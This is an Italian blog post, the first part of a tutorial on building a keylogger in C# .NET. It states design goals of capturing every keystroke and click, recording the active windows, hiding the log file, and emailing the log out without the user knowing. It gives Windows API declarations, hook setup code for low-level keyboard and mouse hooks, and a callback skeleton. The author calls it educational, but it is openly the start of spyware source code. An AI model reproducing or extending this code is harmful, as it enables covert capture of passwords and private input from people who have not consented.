Wednesday, December 14, 2011

Keylogger in .NET (parte1)

Un giorno vidi, su una nota webzine, un articolo sui tipi di malware esistenti nel campo informatico.
Mi balzò all'occhio il keylogger e mi domandai... che ci vorrà mai a farne uno?

Perchè fare ciò? Per passare in qualche modo il mio giorno di requiem ;)

________________________________________________________________________________

Per prima cosa vediamo che caratteristiche dovrà avere questo keylogger (da ora in poi KL):

-Il software dovrà essere in grado di catturare tutti i tasti digitati dall'utente, segnalando tutti i comandi speciali e hotkey
-Il software dovrà essere in grado di riconoscere le finestre in uso dall'utente
-Il software dovrà loggare tutte le informazioni sopracitate e poterle inviare tramite mail o socket
-Il software dovrà essere totalmente trasparente all'utilizzatore del computer e individuabile solamente come processo nel task manager

Questo dovrebbe bastare per far si che il programma possa essere un keylogger.
Visto che son giovane e inesperto, mi butto a capofitto nel pesantissimo ma semplicissimo C# .NET .

Premessa: dato che dovremmo interagire in qualche modo col sistema, avremo bisogno di importare alcune librerie di Windows in particolare: user32.dll e kernel32.dll .
Con interazioni col sistema intendo la possibilità di agganciare il click del mouse, il tasto premuto della tastiera e così via. Il framework .NET non offre dei metodi così a basso livello.

E' possibile dividere questa applicazione in 4 eventi:

  1. Begin [Init] - Scatenato una volta, all'inizio del programma: setta gli hook.
  2. Azione catturata [Callback dell'Hook] - Scatenata dal sistema ogni volta che si clicca il mouse o si digita un tasto
  3. Controllo file [Timer] - Scatenato ogni tempo T in modo da gestire in questo caso il file (mandarlo per email).
  4. End - Scatenato una volta sola a fine programma: rilascia gli hook.

So che sicuramente esiste un metodo migliore, meno pesante ecc... ecc... ma KL è stato fatto per scopo didattico, senza pensare troppo alle performance e alle varie ottimizzazioni.

KL salva il log direttamente su un file in append, controlla ogni T che il file non sia superiore a una certa dimensione: se lo è invia il file via mail, cancella il file attuale e gli riscrive sopra.
Ho scelto il file perchè non vedo alternative più "persistenti" di un file nel disco. In caso di shutdown improvviso per esempio, se avessi salvato tutto in memoria, avrei perso tutto il log.
In ogni caso il file è nella root che generalmente non ha protezioni di scrittura ed è nascosto.
E' sicuramente vero che avrei potuto gestire il caso in cui KL non riusciva a creare il file.. ma come ho detto prima... :P

Ora che abbiamo capito come funzionerà KL: vediamo nel dettaglio come funziona.

Sistemiamo per prima cosa i metodi non gestiti esterni. Per mia abitudine e comodità mi son creato quindi un classe statica che richiama i seguenti metodi esterni:

       //USER32.DLL       
       public static extern System.IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, System.IntPtr hMod, uint dwThreadId);  
       public static extern bool UnhookWindowsHookEx(System.IntPtr hhk);  
       public static extern System.IntPtr CallNextHookEx(System.IntPtr hhk, int nCode,System.IntPtr wParam, System.IntPtr lParam);       
       public static extern System.IntPtr WindowFromPoint(POINT lpPoint);  
       public static extern bool GetCursorPos(out POINT lpPoint);  
       public static extern uint GetWindowThreadProcessId(System.IntPtr hWnd, out uint lpdwProcessId);  
       public static extern bool RegisterHotKey(System.IntPtr hWnd, int id, uint fsModifiers, uint vk);  
       public static extern bool UnregisterHotKey(System.IntPtr hWnd,int id );  
       //KERNEL32.DLL  
       public static extern System.IntPtr GetModuleHandle(string lpModuleName);  

Cosa fanno i metodi, anche se a mio avviso sono abbastanza self-explanatory, lo spiegherò nel corso del post. Esiste comunque una dettagliata documentazione a riguardo. Magari per evitarvi un po di ricerche vi preannuncio che:
POINT e MSLLHOOKSTRUCT sono due Struct qui definite;

  [StructLayout(LayoutKind.Sequential)]  
     public struct POINT  
     {  
       public int x;  
       public int y;  
     }  
  [StructLayout(LayoutKind.Sequential)]  
     private struct MSLLHOOKSTRUCT  
     {  
       public POINT pt;  
       public uint mouseData;  
       public uint flags;  
       public uint time;  
       public System.IntPtr dwExtraInfo;  
     }  

mentre HookProc è un tipo delegate così definito:

 public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);  

Detto questo partiamo con il primo metodo richiamato al Main dell'applicazione [o allo start del servizio :)]

1 - Begin

  //recupero ID e titolo del processo, utili per evitare ridondanze nel log   
  private static int oldProcessID;   
  private static string oldTitleProcess;   
  //flag che determina se il file esisteva al begin   
  private static bool fexist;   
  //puntatore di appoggio  
  private static IntPtr tHandle;
   
  public static void Begin()    
   {    
    //********************RECUPERO IL PROCESSO CORRENTE    
    Process thisProc = Process.GetCurrentProcess();    
    tHandle = thisProc.MainWindowHandle; //recupero la finestra    
    //********************APRO IL FILE E LOGGO SUBITO    
    fexist= File.Exists(FILEPATH);  //imposto il flag di esistenza  
    //Scrivo sul file un inizio di 'sessione' tramite il metodo WriteToFile  
    WriteToFile(" [NEW SESSION] " + thisProc.MainModule.ModuleName, EventType.NewProcess, ref thisProc);    
    oldProcessID = thisProc.Id;   
   //********************IMPOSTO HOOK   
    WinAPI.SetWindowsHookEx(WH_KEYBOARD_LL, Keyboard, WinAPI.GetModuleHandle(curModule.ModuleName), 0);  
    WinAPI.SetWindowsHookEx(WH_MOUSE_LL, Mouse, WinAPI.GetModuleHandle(curModule.ModuleName), 0);  
    //********************TIMER    
    checkFile = new Timer();    
    checkFile.Interval = 10000;    
    checkFile.Tick += new EventHandler(checkFile_Tick);    
    //faccio partire il timer sul controllo file  
    checkFile.Start();    
   }    

Notare bene queste righe di codice:


  WinAPI.SetWindowsHookEx(WH_KEYBOARD_LL, Keyboard, WinAPI.GetModuleHandle(curModule.ModuleName), 0);  
  WinAPI.SetWindowsHookEx(WH_MOUSE_LL, Mouse, WinAPI.GetModuleHandle(curModule.ModuleName), 0);  

Viene richiamato il primo metodo esterno, SetWindowsHookEx.

  public static extern System.IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, System.IntPtr hMod, uint dwThreadId);   

- idHook = è un codice che identifica il tipo di Hook. La tastiera avrà un codice, il mouse ne avrà un altro. Nel mio caso uso delle costanti definite in cima alla classe:
 private const int WH_KEYBOARD_LL = 13;  
 private const int WH_MOUSE_LL = 14;  
- lpfn = è un delegate di tipo HookProc che viene evocato dal sistema allo scatenarsi degli eventi. Ho separato mouse e tastiera volutamente ma scopriremo che ne bastava solo uno.
- hMod = l'handle del processo, ottenuto grazie all'altro metodo esterno GetModuleHandle.
- dwThreadId = ci basta metterlo a 0.

Già in questo modo gli hook sono agganciati. Se proviamo a debuggare la nostra applicazione vedremo che la nostra/le nostre callback saranno in fiamme: le macchine più sensibili noteranno addirittura un freeze di Windows.

Sono da gestire le azioni specifiche sia per tastiera che per mouse. Per la tastiera ci limiteremo al KEYUP, mentre per il mouse al BUTTONDOWN. Ecco le rispettive costanti che li identificano:
     private const int WM_KEYDOWN = 0x0100;  
     private const int WM_KEYUP = 0x0101;  
     private const int WM_MOUSEBUTTONDOWN = 0x0201;  

Nelle nostre callback, cominicamo così a filtrare. Ad esempio:

 private static IntPtr MSHookCallback(int nCode, IntPtr wParam, IntPtr lParam)  
  {  
        if (nCode >= 0 && wParam == (IntPtr)WM_MOUSEBUTTONDOWN)  
         {  
            //Se si clicca col mouse entra qui 
         }  
  }  

Stesso discorso per la tastiera.

Finisce qui la prima parte sul KL. Cosa abbiamo imparato? A far bloccare Visual Studio sicuramente ;)
A presto! Col secondo round spiegheremo finalmente cosa fare con queste benedette callback.

No comments:

Post a Comment